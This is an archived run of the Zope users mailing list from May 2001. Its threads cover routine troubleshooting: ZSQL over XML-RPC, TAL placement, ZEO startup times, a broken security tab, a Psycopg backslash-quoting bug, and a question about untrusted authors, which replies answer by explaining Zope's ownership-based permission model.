is very differently implemented than "hasProperty". "getPropertyType" looks at "self.p_self()._properties" while "hasProperty" looks at "self._propertyMap". This is very suspicious. At your place, I would make "getPropertyType" similar to "hasProperty" and if that gives you the correct result, file a bug report into the collector. Dieter From cg@cdegroot.com Sat May 5 20:42:58 2001 From: cg@cdegroot.com (Cees de Groot) Date: 5 May 2001 21:42:58 +0200 Subject: [Zope] Zope as Portal Server References: <20010503205420.20522.cpmta@c000.snv.cp.net> Message-ID: <9d1l42$8co$1@home.cdegroot.com> said: >Another way to think of this is using ZOPE as an integration layer between many different enterprise applications via the web. > >Its great at Content Management (a Portal of sorts) >and other intended uses - seems like its functionality could be geared around the above too. You then have total control of an enterprises web-offerings to public, employees, vendors all in one place too. > I've experimented a bit with the XML/RPC "proxy" product, using it not to connect to another Zope instance but to an XML/RPC server running in Smalltalk. It works OK, and I think it is a nice starting point for thinking about enterprise integration work. Using XML/RPC or SOAP to talk from a Zope server to other applications is not very hard, but what's needed is a collection of patterns around the creation of sessions, collection of state, the sort of interface you want to present to Zope so that the work best done in Zope goes as smoothly as possible, etcetera. For me, it's a very big missing item in the Zope toolbox. From olaf.zanger@soli-con.com Sat May 5 21:02:50 2001 From: olaf.zanger@soli-con.com (Olaf Zanger) Date: Sat, 05 May 2001 22:02:50 +0200 Subject: [Zope] xmlrpc and ZSQL Method References: <01050517231000.04473@sino> <01050615202502.01474@localhost.localdomain> Message-ID: <3AF45C6A.5759E1E8@soli-con.com> hi there, sorry phil for beeing so clueless as i am, but doing my best :-) ... > return context.prd_sql_method(fac_id_only=fac_id_only,date=date) what would "context" be? i don't have a clue -- sorry i tried an other way by External method with working pgsql access. i checked the scirpt running from the directory without zope involved then it prints the following as result: production ---------- 89.888 (1 row) a pprint(result) prints: which is not a string. i have no clue how to print this. i thougth i can pass return result[22:33] to xmlrpc-client, but doesn't work either so the problem seams > > which takes the same parameters as your sql method. > > I've done this my self so I know this works, if you can get the incantation > right ;) > > Luck be with you > > Phil > > On Saturday 05 May 2001 11:23, you wrote: > > hi phil, > > > > thanks for trying to help, > > > > just i get the following error message . my Zsql-method uses these two > > parameter names and the code is: > > > > --------------------------- > > result=s.Zope.operate.xmlrpc.prd_sql_method(1, '1996-02-01') # error > > > > if len(results)>0: > > print 'found records: ' > > else: > > print 'no records' > > > > for record in results: > > print record[0] > > > > > > > > --------------------- > > > > Traceback (innermost last): > > File "./ip-prd_get-0.0.2.py", line 33, in ? > > result=s.Zope.operate.xmlrpc.prd_sql_method(1, '1996-02-01') # error > > File "./xmlrpclib.py", line 547, in __call__ > > return self.__send(self.__name, args) > > File "./xmlrpclib.py", line 630, in __request > > request > > File "./xmlrpclib.py", line 585, in request > > return self.parse_response(h.getfile()) > > File "./xmlrpclib.py", line 601, in parse_response > > return u.close() > > File "./xmlrpclib.py", line 371, in close > > raise apply(Fault, (), self._stack[0]) > > xmlrpclib.Fault: > 'date']"> > > > > have a nice weekend > > > > olaf -- soli-con Engineering Zanger Dipl.-Ing. (FH) Olaf Marc Zanger Lorrainestrasse 23 3013 Bern / Switzerland Fon: +41-31-332 9782 Mob: +41-76-572 9782 mailto:info@soli-con.com mailto:olaf.zanger@soli-con.com http://www.soli-con.com From evan@4-am.com Sat May 5 21:29:14 2001 From: evan@4-am.com (Evan Simpson) Date: Sat, 5 May 2001 15:29:14 -0500 Subject: [Zope] get error "no module named TAL.TALParser" References: <001f01c0d547$d1e1e2d0$18a4023e@karin> Message-ID: <005201c0d5a2$0d6a6a70$2a01a8c0@evansys> From: Robert Rottermann > TAL is istalled in the products directory, and a TALParser.py can be found there. TAL is not a Product, but rather a regular Python package. As the installation directions state, it should be placed in $ZOPE/lib/python, not in the Products subdirectory. Cheers, Evan @ digicool & 4-am From hohoff@rz.uni-potsdam.de Sat May 5 21:24:02 2001 From: hohoff@rz.uni-potsdam.de (Holger Hoffmann) Date: Sat, 05 May 2001 22:24:02 +0200 Subject: [Zope] newbie question about aquisition References: <002201c0d5be$0e485da0$c046fea9@p166mmx> Message-ID: <3AF46162.60D7F6DE@snafu.de> Hi Tomas, Tomas Mortensen wrote: > > hi, > > consider the folowing scenario: > > an index_html dtml document is located in the root folder. this document > includes another dtml document, includefile, with the dtml-var tag. > > /index_html > /includefile > /myfolder/includefile > /myfolder/mysubfolder/ > > if i access the URL http://myhost/myfolder/mysubfolder, i get the index_html > file from the root folder, by aquisition. the problem is that the included > dtml file _also_ comes from the root. > > what i want is that the includefile in myfolder will override the one in the > root folder. is this posible? yes, if you use a dtml method (not a dtml document) for index_html ... Holger From mindlace@digicool.com Sun May 6 04:08:26 2001 From: mindlace@digicool.com (ethan mindlace fremen) Date: Sat, 05 May 2001 23:08:26 -0400 Subject: Performance with large ZODB's (was Re: [Zope] Announce - Audio Product) In-Reply-To: <000501c0d380$dcd93170$ae03a8c0@activestate.com> Message-ID: <40080000.989118506@orlog> --On 05/02/01 20:26:37 -0700 Andy McKay chiseled: >> Several gigs of RAM? Cool! Maybe someone from DC can detail what goes >> on at startup that might take alot of time. > > When you start a ZODB up, an index is built of every object inside the > ZODB so it that can call it again later, effectively it reads through the > entire DB. [...] > Ive had 1 gig db's and found them a pain to work with from this point of > view. 2 things: first, if you use ZEO, then this startup time is pushed to the storage server. Your ZClients can start up in seconds, depending on how large the ZEO cache is. For example, with the 2.8GB Zope.org data.fs, ZEO clients take about 13 seconds to start up with a 300mb cache and 2 seconds to start up with no cache. if you are doing lots of product changes, make sure that ZEO_CLIENT is not set so that your products reinitialize. As far as the memory usage goes, Berkeley Storage will help this tremendously. Hope that helps, -- -mindlace- zopatista community liason From astlj@hotmail.com Sun May 6 04:09:40 2001 From: astlj@hotmail.com (Tommy Johnson) Date: Sat, 05 May 2001 19:09:40 -0800 Subject: [Zope] Proper Case function Message-ID: Hello all, I'm looking for a proper case function --> something that will return the string "Category" from the string "category". It doesn't have to worry about if the string is a proper name, but that would be nice. I'm just trying to figure out if a function exists that will capitalize the first letter of a string (or if I have to script something). Thanks in advance, Tommy _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From lstaffor@dynalogic.com Sun May 6 06:25:39 2001 From: lstaffor@dynalogic.com (Loren Stafford) Date: Sat, 5 May 2001 22:25:39 -0700 Subject: [Zope] Re: Xron question References: Message-ID: <005201c0d5ec$fd4f3a80$2201a8c0@pav2> A Xron Method can be anywhere. That's why Schedule is in root -- so it is aquired by any Xron Method anywhere. -- Loren ----- Original Message ----- From: "tom smith" To: Sent: Thursday, May 03, 2001 3:01 AM Subject: Xron question > Hi > > Quick Question. > > Can I create an Xron Method anywhere and have it fire off? Or does it have > to be inside the Schedule object that seems to get created in the root zope > folder. > > Thanks > > tom > > > > > -- > tom smith | tom@othermedia.com > http://www.othermedia.com/blog > tel 020 8541 5355 | fax 020 8541 5507 > 11 penrhyn road, kingston-upon-thames, london KT1 2BZ > > From randy@spoke.net Sun May 6 06:33:14 2001 From: randy@spoke.net (Randall F. Kern) Date: Sat, 5 May 2001 22:33:14 -0700 Subject: [Zope] Proper Case function Message-ID: >From DTML: >From Python: import string string.capitalize('category') -Randy > -----Original Message----- > From: Tommy Johnson [mailto:astlj@hotmail.com] > Sent: Saturday, May 05, 2001 8:10 PM > To: zope@zope.org > Subject: [Zope] Proper Case function >=20 >=20 > Hello all, >=20 > I'm looking for a proper case function --> something that=20 > will return the=20 > string "Category" from the string "category". It doesn't have=20 > to worry about=20 > if the string is a proper name, but that would be nice. I'm=20 > just trying to=20 > figure out if a function exists that will capitalize the=20 > first letter of a=20 > string (or if I have to script something). >=20 > Thanks in advance, > Tommy > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com >=20 >=20 > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists -=20 > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) >=20 From marc@bowery.com Sun May 6 06:44:26 2001 From: marc@bowery.com (marc lindahl) Date: Sun, 06 May 2001 01:44:26 -0400 Subject: Performance with large ZODB's (was Re: [Zope] Announce - Audio Product) In-Reply-To: <40080000.989118506@orlog> Message-ID: > From: ethan mindlace fremen > > 2 things: first, if you use ZEO, then this startup time is pushed to the > storage server. Your ZClients can start up in seconds, depending on how > large the ZEO cache is. For example, with the 2.8GB Zope.org data.fs, ZEO > clients take about 13 seconds to start up with a 300mb cache and 2 seconds > to start up with no cache. if you are doing lots of product changes, make > sure that ZEO_CLIENT is not set so that your products reinitialize. How long does it take the storage server to start? From ahn@vec.wfubmc.edu Sun May 6 06:45:15 2001 From: ahn@vec.wfubmc.edu (Dave Ahn) Date: Sun, 6 May 2001 01:45:15 -0400 Subject: [Zope] broken root security tab Message-ID: <20010506014515.A60194@cecum.vec.wfubmc.edu> Hello, I recently upgraded to Zope 2.3.2 and added several new products. Sometime during that process, my root security tab stopped working with: Error Type: TypeError Error Value: string member test needs char left operand A quick mailing list search indicates that it is probably related to a missing ',' in one of the products, but I am just guessing. How can I track down the source of this error? I tried to run the python debugger, but trying to access Zpublish.Zope('/manage_access') simply denies access. I'm rather new to Zope debugging, so any help would be appreciated. Thanks, Dave -- Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center When you were born, you cried and the world rejoiced. Try to live your life so that when you die, you will rejoice and the world will cry. -1/2 jj^2 From kosh@aesaeion.com Sun May 6 01:03:59 2001 From: kosh@aesaeion.com (kosh@aesaeion.com) Date: Sun, 6 May 2001 00:03:59 +0000 (UTC) Subject: [Zope] broken root security tab In-Reply-To: <20010506014515.A60194@cecum.vec.wfubmc.edu> Message-ID: Right click on the page with the error and view the source. In the page source you should have a traceback. At the very least it should way which product the error is in. Most likely it will have the line the error is at. On Sun, 6 May 2001, Dave Ahn wrote: > Hello, > > I recently upgraded to Zope 2.3.2 and added several new products. Sometime > during that process, my root security tab stopped working with: > > Error Type: TypeError > Error Value: string member test needs char left operand > > A quick mailing list search indicates that it is probably related to a > missing ',' in one of the products, but I am just guessing. > > How can I track down the source of this error? I tried to run the python > debugger, but trying to access Zpublish.Zope('/manage_access') simply denies > access. I'm rather new to Zope debugging, so any help would be appreciated. > > Thanks, > Dave > -- > Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center > > When you were born, you cried and the world rejoiced. Try to live your life > so that when you die, you will rejoice and the world will cry. -1/2 jj^2 > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From arkaitz@euskalcom.net Sun May 6 11:08:09 2001 From: arkaitz@euskalcom.net (Arkaitz Bitorika) Date: 06 May 2001 12:08:09 +0200 Subject: [Zope] create ZClass instances in Python scripts In-Reply-To: <3AF3FC8B.CE580023@vt.edu> References: <989065624.1992.9.camel@basajaun> <3AF3FC8B.CE580023@vt.edu> Message-ID: <989143691.1205.1.camel@basajaun> On 05 May 2001 09:13:47 -0400, Jim Washington wrote: > Arkaitz Bitorika wrote: > > > > Hi, > > > > Is it possible to create programmatically ZClass instances from Python > > scripts? I haven't been able to do it. > > I have the next thing in my Python script: > > folder.manage_addProduct['MyProduct'].manage_addMyZClass_py(myId) > > And then I have a Python Script called "manage_addMyZClass_py" in > > "MyProduct" that does simply this: > > container.MyZClass.createInObjectManager(id) > > All this gives me the next message: > > Error Type: TypeError > > Error Value: not enough arguments; expected 3,got 2 > > This happens when calling createInObjectManager(), because it expects a > > REQUEST object, but I don't have one! It won't accept a None REQUEST > > object either. > > Any hint? > > container can acquire a REQUEST object. Try: > > container.MyZClass.createInObjectManager(id, container.REQUEST) Thanks! that works, but what I'm doing now is passing the original context.REQUEST over to the constructor. It seems to be a good solution as well > > -- Jim Washington > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From roche@upfrontsystems.co.za Sun May 6 13:19:12 2001 From: roche@upfrontsystems.co.za (Roch'e Compaan) Date: Sun, 6 May 2001 14:19:12 +0200 Subject: [Zope] Zope runs very slowly Message-ID: <000a01c0d626$c26b09f0$0102a8c0@roche.up-front.co.za> I compiled Zope 2-3-0 from source on a Pentium II 266 MHz with 128 MB RAM= on Redhat 6.2 and it runs very slowly. When I say slow I mean it takes approximately 3 minutes to start up and 5 seconds per request. I'll give= a bit more background since I don't think this is a Zope problem per se. This is not a first Zope install - on our public server I frequently comp= ile Zope from source and it flies. On this particular server almost everythi= ng was compiled from scratch (kernel, apache, python, etc) with aggresive optimization turned on. All the software installed is really running smoothly except for Zope. I then recompiled python with no optimization = but still Zope was crawling. It took me quite a while to build the server th= us far and it took a lot of effort securing and optimizing it but at the moment I really don't have a clue where to start looking for the problem. What is funny is that other python-built software like mailman is running= up to speed but mailman is not multi-threaded or nearly as complex as Zope. It seems to me that accessing the Data.fs file is problematic, because th= e harddrive just seems too busy compared to other Zope installations we've made. The load on the CPU seems normal. Any pointers would really be appreciated. Roch=E9 From laird@ecn.purdue.edu Sun May 6 13:48:04 2001 From: laird@ecn.purdue.edu (Kyler B. Laird) Date: Sun, 06 May 2001 07:48:04 -0500 Subject: [Zope] security risk in "many authors" situation Message-ID: <200105061248.f46Cm6D12796@gunsmoke.ecn.purdue.edu> I've been working on "security" from a perspective of users/authors not being able to do more than what they're granted permission to do. I finally realized that there's a huge risk in a system like ours with many untrusted authors creating contnet to be viewed by trusted users. If, for example, a student makes a page as part of his homework, any commands he puts in it will be executed with the privileges of his professor when it is checked. This is a bit like getting someone to run your own script in UNIX, but vastly more likely. Any ideas for getting around this? I'm stumped. I want to be able to do this in many situations, but certainly it can be devastating in some. Thank you. --kyler From mcm@mixadlive.com Sun May 6 15:04:32 2001 From: mcm@mixadlive.com (Michele Comitini) Date: Sun, 6 May 2001 16:04:32 +0200 Subject: [Zope] Re: [Psycopg] \'s in ZSQL methods with Postgresql In-Reply-To: ; from p.mayers@ic.ac.uk on Fri, May 04, 2001 at 04:49:24PM +0100 References: Message-ID: <20010506160432.A18529@developers.mixadlive.com> --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable To fix the problem Connection.sql_quote__() needed to be overridden with a version handling "\" escaping correctly. The latest version on the cvs server (see http://www.initd.org/Software/psycopg/ on how to use it) should be correct. Otherwise you can wait next release which Federico will make available soon. Regards, michele On Fri, May 04, 2001 at 04:49:24PM +0100, Mayers, Philip J wrote: > Ok, thanks. >=20 > Regards, > Phil >=20 > +----------------------------------+ > | Phil Mayers, Network Support | > | Centre for Computing Services | > | Imperial College | > +----------------------------------+ =20 >=20 > -----Original Message----- > From: Federico Di Gregorio [mailto:fog@mixadlive.com] > Sent: 04 May 2001 16:05 > To: Mayers, Philip J > Cc: 'psycopg@lists.initd.org'; 'zope@zope.org' > Subject: Re: [Psycopg] \'s in ZSQL methods with Postgresql >=20 >=20 > Scavenging the mail folder uncovered Mayers, Philip J's letter: > > This: > >=20 > > update tb1 set cl1=3D,who=3D > "REQUEST.AUTHENTICATED_USER">,time=3Dnow() > >=20 > > Called with: > >=20 > > sqlmethod(val1=3D'\') > >=20 > > Fails with: > >=20 > > Error Type: ProgrammingError > > Error Value: ERROR: parser: parse error at or near "loginname" update t= b1 > > set cl1=3D'\',who=3D'loginname',time=3Dnow() > >=20 > > Clearly the \ needs to be escaped. Is this Postgres specific? If so, why > > isn't the DA (ZPsycopg) quoting it? Running Zope 2.3.2 >=20 > you are right, quoting will be fixed in the next release (we use psycopg > much more than ZPsycopgDA, so this one still has some rought edges...) > btw, what does 'type=3Dnb' means? (i only know of string and int...) >=20 > ciao, > federico >=20 > --=20 > Federico Di Gregorio > MIXAD LIVE Chief of Research & Technology fog@mixadlive.com > Debian GNU/Linux Developer & Italian Press Contact fog@debian.org > Try the Joy of TeX [http://www.tug.org] > -- brought to you by One Line Spam > _______________________________________________ > Psycopg mailing list > Psycopg@lists.initd.org > http://lists.initd.org/cgi-bin/mailman/listinfo/psycopg --82I3+IH0IqGh5yIs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE69VnwHygWwn5gTsIRAsWhAJ46gqi1O9Qii7dwqzaX56gKOIGChQCgz/I0 qMwQxLvTmqqn6OI+X216R20= =sXWM -----END PGP SIGNATURE----- --82I3+IH0IqGh5yIs-- From laird@ecn.purdue.edu Sun May 6 15:59:30 2001 From: laird@ecn.purdue.edu (Kyler B. Laird) Date: Sun, 06 May 2001 09:59:30 -0500 Subject: [Zope] security risk in "many authors" situation In-Reply-To: Your message of "Sun, 06 May 2001 10:44:24 -0400." References: Message-ID: <200105061459.f46ExWD13572@gunsmoke.ecn.purdue.edu> On Sun, 6 May 2001 10:44:24 -0400 (EDT) you wrote: >IIRC, this is *not* the case at all -- Ah! I love being wrong about such things. >you 'run' a script w/the >intersection of your privileges and those of the creator. I did something earlier that lead me to assume that this was not the case, but I went back to verify it and I see that what you say is correct. My day is really looking up. If I had been right about that, I would have been in a world of hurt. >(Hence, why the >superuser can't own objects.) Of course. That makes perfect sense. Thank you for the correction! I'm sorry that I didn't check more today. I'll try to investigate my sleep-time conclusions a bit before I panic next time. --kyler From chrisw@nipltd.com Sun May 6 16:41:48 2001 From: chrisw@nipltd.com (Chris Withers) Date: Sun, 06 May 2001 16:41:48 +0100 Subject: [Zope] Sorting mod.time with dtml-in? References: <15090.62937.46920.564769@lindm.dm> Message-ID: <3AF570BC.C72B37ED@nipltd.com> Dieter Maurer wrote: > > The value of the "sort" attribute is a comma separated > sequence of field names. Is the same true for ZCatalog? If not, can this be used to have the same effect on ZCatalog search results or would the benefits of the lazy results set in a batched search be lost? cheers, Chris From rbickers@logicetc.com Sun May 6 18:55:24 2001 From: rbickers@logicetc.com (Ron Bickers) Date: Sun, 6 May 2001 13:55:24 -0400 Subject: [Zope] security risk in "many authors" situation References: <200105061459.f46ExWD13572@gunsmoke.ecn.purdue.edu> Message-ID: <000a01c0d655$d37aab90$6500a8c0@foveondrgox8v8> ----- Original Message ----- From: "Kyler B. Laird" To: "Joel Burton" Cc: Sent: Sunday, May 06, 2001 10:59 AM Subject: Re: [Zope] security risk in "many authors" situation > > On Sun, 6 May 2001 10:44:24 -0400 (EDT) you wrote: > > >IIRC, this is *not* the case at all -- > > Ah! I love being wrong about such things. This was a problem in Zope prior to 2.2. See http://www.zope.org//Members/jim/ZopeSecurity/ServerSideTrojan _____________________ Ron Bickers Logic Etc, Inc. rbickers@logicetc.com From marcus.schopen@uni-bielefeld.de Sun May 6 19:51:30 2001 From: marcus.schopen@uni-bielefeld.de (Marcus Schopen) Date: Sun, 06 May 2001 20:51:30 +0200 (CEST) Subject: [Zope] sum up values of two variables Message-ID: <989175090.3af59d3282965@marcus.localguru.de> Hi there, how do one sum up the values of two variables? In other words: the result of _.len(hello.getPhysicalPath()) and the string "BASE" should sum up to one variable, something like Thank you Marcus From marc@bowery.com Sun May 6 20:04:25 2001 From: marc@bowery.com (marc lindahl) Date: Sun, 06 May 2001 15:04:25 -0400 Subject: [Zope] sum up values of two variables In-Reply-To: <989175090.3af59d3282965@marcus.localguru.de> Message-ID: > From: Marcus Schopen > Date: Sun, 06 May 2001 20:51:30 +0200 (CEST) > To: zope@zope.org > Subject: [Zope] sum up values of two variables > > Hi there, > > how do one sum up the values of two variables? > > > > > > > In other words: the result of _.len(hello.getPhysicalPath()) and the string > "BASE" should sum up to one variable, something like > > > > Close, From andreas@easyleading.org Sun May 6 20:32:58 2001 From: andreas@easyleading.org (Andreas Heckel) Date: Sun, 06 May 2001 21:32:58 +0200 Subject: [Zope] Re: [Zope-CMF] [ANN] German CMF skin available References: <3AF3A8CC.B0D06D57@easyleading.org> <001601c0d580$097a15e0$0a01a8c0@stravinsky> Message-ID: <3AF5A6EA.47B933F5@easyleading.org> robert at rocad wrote: > > ... > It is not necessary to alter any CMF core files to have the actionbox > translated. > This can easily be done in a skin. Just translate the words the action box > is throwing at you > > To do this I created a tiny python script called > ... Hi Robert, thanks for your suggestion. I did not spend much time in that part of the translation because there is a comment on the listActions method saying that it will be configurable through the portal_actions UI. BTW: Erich Seifert has found some typo and made some other suggestions. A new version of the translation and a small how-to will be available soon. Andreas -- _______________________________________________________________________ Andreas Heckel andreas@easyleading.org LINUX is like a wigwam...no gates...no windows and an apache inside ;-) From ahn@vec.wfubmc.edu Sun May 6 20:40:49 2001 From: ahn@vec.wfubmc.edu (Dave Ahn) Date: Sun, 6 May 2001 15:40:49 -0400 Subject: [Zope] broken root security tab In-Reply-To: ; from kosh@aesaeion.com on Sun, May 06, 2001 at 12:03:59AM +0000 References: <20010506014515.A60194@cecum.vec.wfubmc.edu> Message-ID: <20010506154049.A60589@cecum.vec.wfubmc.edu> This is what I get: Traceback (innermost last): File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 187, in publish File /usr/lib/zope/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: ApplicationDefaultPermissions) File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 171, in publish File /usr/lib/zope/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: manage_access) File /usr/lib/zope/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: manage_access) File /usr/lib/zope/lib/python/AccessControl/Role.py, line 257, in manage_access (Object: ApplicationDefaultPermissions) File /usr/lib/zope/lib/python/Shared/DC/Scripts/Bindings.py, line 324, in __call__ (Object: _normal_manage_access) File /usr/lib/zope/lib/python/Shared/DC/Scripts/Bindings.py, line 354, in _bindAndExec (Object: _normal_manage_access) File /usr/lib/zope/lib/python/App/special_dtml.py, line 236, in _exec (Object: _normal_manage_access) File /usr/lib/zope/lib/python/DocumentTemplate/DT_With.py, line 146, in render (Object: _.namespace(valid_roles=valid_roles())) File /usr/lib/zope/lib/python/DocumentTemplate/DT_In.py, line 650, in renderwob (Object: permission_settings) File /usr/lib/zope/lib/python/AccessControl/Role.py, line 182, in permission_settings (Object: ApplicationDefaultPermissions) File /usr/lib/zope/lib/python/AccessControl/Role.py, line 177, in <lambda> TypeError: (see above) The relevant lines from Role.py appear to be: d={'name': name, 'acquire': type(roles) is ListType and 'CHECKED' or '', 'roles': map( lambda ir, roles=roles, valid=valid, ip=ip: { 'name': "p%dr%d" % (ip,ir), 'checked': (valid[ir] in roles) and 'CHECKED' or '', }, indexes) } Any suggestions on how to fix this? Thanks, Dave On Sun, May 06, 2001 at 12:03:59AM +0000, kosh@aesaeion.com wrote: > Right click on the page with the error and view the source. In the page > source you should have a traceback. At the very least it should way which > product the error is in. Most likely it will have the line the error is > at. > > On Sun, 6 May 2001, Dave Ahn wrote: > > > Hello, > > > > I recently upgraded to Zope 2.3.2 and added several new products. Sometime > > during that process, my root security tab stopped working with: > > > > Error Type: TypeError > > Error Value: string member test needs char left operand > > > > A quick mailing list search indicates that it is probably related to a > > missing ',' in one of the products, but I am just guessing. > > > > How can I track down the source of this error? I tried to run the python > > debugger, but trying to access Zpublish.Zope('/manage_access') simply denies > > access. I'm rather new to Zope debugging, so any help would be appreciated. > > > > Thanks, > > Dave > > -- > > Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center > > > > When you were born, you cried and the world rejoiced. Try to live your life > > so that when you die, you will rejoice and the world will cry. -1/2 jj^2 > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) -- Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center When you were born, you cried and the world rejoiced. Try to live your life so that when you die, you will rejoice and the world will cry. -1/2 jj^2 From mehmety@auslin.com.au Sun May 6 21:47:16 2001 From: mehmety@auslin.com.au (Mehmet Yousouf) Date: Mon, 7 May 2001 06:47:16 +1000 Subject: [Zope] Passing variable to a python script Message-ID: <01050706471600.03747@theo.home> Hi, I'm trying out python scripts and can't get the variables posted from a form accross. I'm calling the script from a dtml method via but keep getting "unknown variable" as the error .. it's a simple script that adds two numbers together (x = first_number + second_number) and first_number, second_number are from the form. The show answer method can display both variables () I'm using python 2 (compiled zope from source) is this the problem? if it is, can I run python 2 with pyton 1.52? Regards, Mehmet From bill@libc.org Sun May 6 23:01:22 2001 From: bill@libc.org (Bill Anderson) Date: 06 May 2001 16:01:22 -0600 Subject: [Zope] get error "no module named TAL.TALParser" In-Reply-To: <005201c0d5a2$0d6a6a70$2a01a8c0@evansys> References: <001f01c0d547$d1e1e2d0$18a4023e@karin> <005201c0d5a2$0d6a6a70$2a01a8c0@evansys> Message-ID: <989186482.12170.4.camel@locutus> On 05 May 2001 15:29:14 -0500, Evan Simpson wrote: > From: Robert Rottermann > > TAL is istalled in the products directory, and a TALParser.py can be > found there. > > TAL is not a Product, but rather a regular Python package. As the > installation directions state, it should be placed in $ZOPE/lib/python, > not in the Products subdirectory. How does this work with INSTANCE_HOME setups? Can $INSTANCE_HOME have a lib/python tree as well? Bill From phil.harris@zope.co.uk Tue May 8 04:06:35 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Mon, 7 May 2001 23:06:35 -0400 Subject: [Zope] get error "no module named TAL.TALParser" In-Reply-To: <989186482.12170.4.camel@locutus> References: <001f01c0d547$d1e1e2d0$18a4023e@karin> <005201c0d5a2$0d6a6a70$2a01a8c0@evansys> <989186482.12170.4.camel@locutus> Message-ID: <01050723063500.01849@localhost.localdomain> >From my experience it doesn'y have to live in lib/python it just has to be available on the PYTHONPATH. On Sunday 06 May 2001 18:01, Bill Anderson wrote: > On 05 May 2001 15:29:14 -0500, Evan Simpson wrote: > > From: Robert Rottermann > > > > > TAL is istalled in the products directory, and a TALParser.py can be > > > > found there. > > > > TAL is not a Product, but rather a regular Python package. As the > > installation directions state, it should be placed in $ZOPE/lib/python, > > not in the Products subdirectory. > > How does this work with INSTANCE_HOME setups? > Can $INSTANCE_HOME have a lib/python tree as well? > > Bill > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From marcbpc@gmx.de Sun May 6 23:13:45 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Mon, 7 May 2001 00:13:45 +0200 Subject: [Zope] Image Uploading In-Reply-To: <01050706471600.03747@theo.home> Message-ID: Hi, a new problem has appeared :-( Ok, I want to upload an Image into my ZOPE which only exists on an external Server. The pictures url could be http://somewhere.com/pic.jpg. So, I need a way, to insert this Image in my ZODB. But how, ... ??? I tried it with the manage_addImange tag, but without success. It seems as this tag only accepts files from my local file system. Perhaps, someone of you can help me, ... thank you, ... Marc From bill@libc.org Sun May 6 23:14:14 2001 From: bill@libc.org (Bill Anderson) Date: 06 May 2001 16:14:14 -0600 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <20010503202548.C479@nordine.ateur> References: <3AF19160.209268BB@artlover.com> <20010503202548.C479@nordine.ateur> Message-ID: <989187254.12178.5.camel@locutus> On 03 May 2001 20:25:48 +0200, Jerome Alet wrote: > On Thu, May 03, 2001 at 12:12:00PM -0500, Ausum wrote: > > I've uploaded pic snapshots hoping to explain them. They're based only in > > modifications to distribution dtml files, and one python module file. If you > > want the code > > I can send it to you, but you'll probably want to take a look first. :) > > Except the Vi/Ew thing the rest is VERY interesting ! And, of course, except for the InternetExlorer only cruft. Also, splitting up parts of a single word to do different things is bad UI. It is not intuitive that a single word such as Edit does two different things depending on where you click. Bill From dieter@handshake.de Sun May 6 23:17:20 2001 From: dieter@handshake.de (Dieter Maurer) Date: Mon, 7 May 2001 00:17:20 +0200 (CEST) Subject: [Zope] Sorting mod.time with dtml-in? In-Reply-To: <3AF570BC.C72B37ED@nipltd.com> References: <15090.62937.46920.564769@lindm.dm> <3AF570BC.C72B37ED@nipltd.com> Message-ID: <15093.52592.578336.466582@lindm.dm> Chris Withers writes: > > The value of the "sort" attribute is a comma separated > > sequence of field names. > > Is the same true for ZCatalog? I do not think so. > If not, can this be used to have the same effect on ZCatalog search results or > would the benefits of the lazy results set in a batched search be lost? Of course, you can use "in"'s sort attribute to sort a ZCatalog result sequence. And surely, you need to fetch the sequence elements to sort them. Dieter From junk@gargl.net Sun May 6 23:44:56 2001 From: junk@gargl.net (Junk) Date: Mon, 7 May 2001 00:44:56 +0200 Subject: [Zope] question about multiple search criteria Message-ID: hello, world! i have this database wich i want to sort by multiple criteria (12 criteria) so i would have to search a zcatalog with those and i heard that quite a lot of people don't trust the zcatalog and it just doesn't seem to be *right*. is it cleaner to do it in some sort of relational database and make sql queries on it ? it **seems** to me that it would be better to do it this way, but i'm not sure, any ideas on how to do it ? Junk From marc@bowery.com Mon May 7 00:11:46 2001 From: marc@bowery.com (marc lindahl) Date: Sun, 06 May 2001 19:11:46 -0400 Subject: [Zope] question about multiple search criteria In-Reply-To: Message-ID: check out 